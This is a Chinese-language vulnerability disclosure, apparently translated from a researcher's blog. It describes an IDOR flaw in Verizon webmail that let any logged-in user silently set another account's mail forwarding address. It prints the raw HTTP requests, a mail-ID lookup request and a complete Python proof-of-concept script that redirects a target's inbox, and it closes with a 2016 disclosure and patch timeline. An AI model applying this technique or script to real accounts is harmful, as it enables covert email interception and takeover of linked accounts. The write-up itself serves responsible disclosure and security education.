我曾经和Verizon合作过很多次,都是在出现严重的安全漏洞的时候,其中包括在MyFiOS应用程序的API中出现的一个致命漏洞,该漏洞会泄露所有用户的电子邮件账户。最近在我研究Verizon网络邮件门户网站时,我发现了不同严重程度的多个漏洞——我将来可能会对其中一些进行具体解释。这篇文章的重点是这些漏洞中最严重的一个,攻击者可以利用该漏洞消无声息地从任意用户的收件箱中截获电子邮件。
在登录到网页邮箱界面之后,用户可以在“设置”中更改一些关于自身账户的选项。下面的截屏就是用来更改代理设置的选项卡。
值得注意的是,在上面的截屏中,界面告知用户,收到的信息将不限定转发地址,并且不再发送到用户的收件箱。
尽管网站代理了我的请求,但是我为了记录结果,改变我自己账户的转发设置。下面是这项请求:
POST https://mail.verizon.com/webmail/driver?nimlet=ispemailsettings&method=addForward HTTP/1.1
Host: mail.verizon.com
Connection: keep-alive
Content-Length: 169
Pragma: no-cache
Cache-Control: no-cache
Origin: https://mail.verizon.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: https://mail.verizon.com/webmail/driver?nimlet=showmessages&view=emails
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ***REMOVED***
sourceID=&auth=&auditID=&serviceName=MPSMail&userID=vze***REMOVED***%40verizon.net&forwardAddress=***REMOVED***%2Bverizon%40gmail.com&action=AddForward&ts=1460652842592&cmdSeq=1
回应是这样的:
{
"res": {
"Response": {
"DataOut": {
"User": {
"ID": "vze***REMOVED***",
"ForwardAddress": "***REMOVED***+verizon@gmail.com"
}
},
"xsi:noNamespaceSchemaLocation": "",
"xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
"Errors": {
"Error": {
"Description": "",
"Severity": "Success",
"Type": "",
"Number": "0"
}
},
"Control": {
"Source": {
"ID": "",
"Auth": "",
"AuditID": ""
},
"Service": {
"Name": "MPSMail",
"Action": "AddForward"
}
}
}
}
}
可以看到在上面的请求部分列入了用户ID参数,这表明可能存在一个IDOR漏洞。为了进一步检测,我决定用另一个用户的ID(已取得授权)执行同样的请求,目的是为了证明这种请求是否允许我对任何用户账户的转发地址进行修改。
值得注意的是,原始请求中的用户ID值实际上并不是目标用户的电子邮件地址,看上去像是Verizon一个内部ID。因为Verizon公开了API,所以攻击者(或是任何人)都可以轻松地利用进行查找内部ID:
POST https://mail.verizon.com/webmail/driver?nimlet=mailidlookup HTTP/1.1
Host: mail.verizon.com
Connection: keep-alive
Content-Length: 28
Pragma: no-cache
Cache-Control: no-cache
Origin: https://mail.verizon.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Referer: https://mail.verizon.com/webmail/driver?nimlet=showmessages&view=emails
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Cookie: ***REMOVED***
&alias=***REMOVED***@verizon.net
此请求的返回值是内部邮件ID对应的电子邮件地址,可以看下面的例子:
{
"res": [{
"alias": "***REMOVED***@verizon.net",
"mailID": "vze***REMOVED***@verizon.net"
}]
}
取得目标用户的账户邮件ID之后,为了测试是否可以改变转发地址,我发出了上面的请求(替换用户ID)。这个请求成功得到回应,意思就是我证实了一个非常严重的漏洞:任意一个拥有有效Verizon账户的用户都可以任意设置其他用户的转发地址,从而接收他的电子邮件——最严重的情况就是原始电子邮件通常是用来重置用户的其他账户密码的,这些账户有可能银行账户、Facebook等。
为了向Verizon团队展示这个问题,我立刻写了一份概念证明:
import urllib
import requests
from Cookie import SimpleCookie
"""
A valid webmail login is required.
Login to https://mail.verizon.com/ and paste in your Cookie header
"""
cookie_str = '***REMOVED***'
# Define target and forwarding address
target_username = "***REMOVED***"
forward_address = "***REMOVED***+verizontest@gmail.com"
def get_cookies(str):
cookie = SimpleCookie()
cookie.load(str)
cookies = {}
for key, morsel in cookie.items():
cookies[key] = morsel.value
return cookies
# Parse cookie string
cookies = get_cookies(cookie_str)
# Setup session
s = requests.Session()
s.cookies.update(cookies)
# Get target user's mailID
r = s.get("https://mail.verizon.com/webmail/driver?nimlet=mailidlookup&alias={}@verizon.net".format(target_username))
mail_id = r.json().get("res")[0].get("mailID")
# Set mail forwarder for target user
params = {
"target": urllib.quote_plus(mail_id),
"forward": urllib.quote_plus(forward_address),
}
url = "https://mail.verizon.com/webmail/driver?nimlet=ispemailsettings&method=addForward&sourceID=&auth=&auditID="
"&serviceName=MPSMail&userID={target}&forwardAddress={forward}"
"&action=AddForward&ts=1460652842592&cmdSeq=1".format(**params)
r = s.get(url)
print(r.text.strip())
上面的脚本利用有效网页邮件会话,先通过电子邮件地址查找目标账户的邮件ID,然后设置账户中的转发地址。正如上文所说,在这之后所有的邮件都不会进入用户收件箱,所以用户也就不会意识到自己的账户已经被盗——这也使得攻击者重置其他账户变得更加容易,因为重置邮件也不会被受害者看到。
本文原作者已和Verizon取得了联系并且给他们发送了上面的PoC——他们很快就回应了,并且态度严肃。但是发布补丁的时间比往常要慢(原因应该是他们最近的罢工事件)。
时间轴:
2016年4月14日:向Verizon发送最初的报告和PoC
2016年4月18日:Verizon承认漏洞,并确定在其他请求中也存在类似的漏洞。
2016年5月2日:我继续跟进,Verizon表示正在进行修复。
2016年5月12日:Verizon告知我,已经发布了补丁。
Verizon非常欣赏这份报告,并且似乎打算和安全社区加强协作。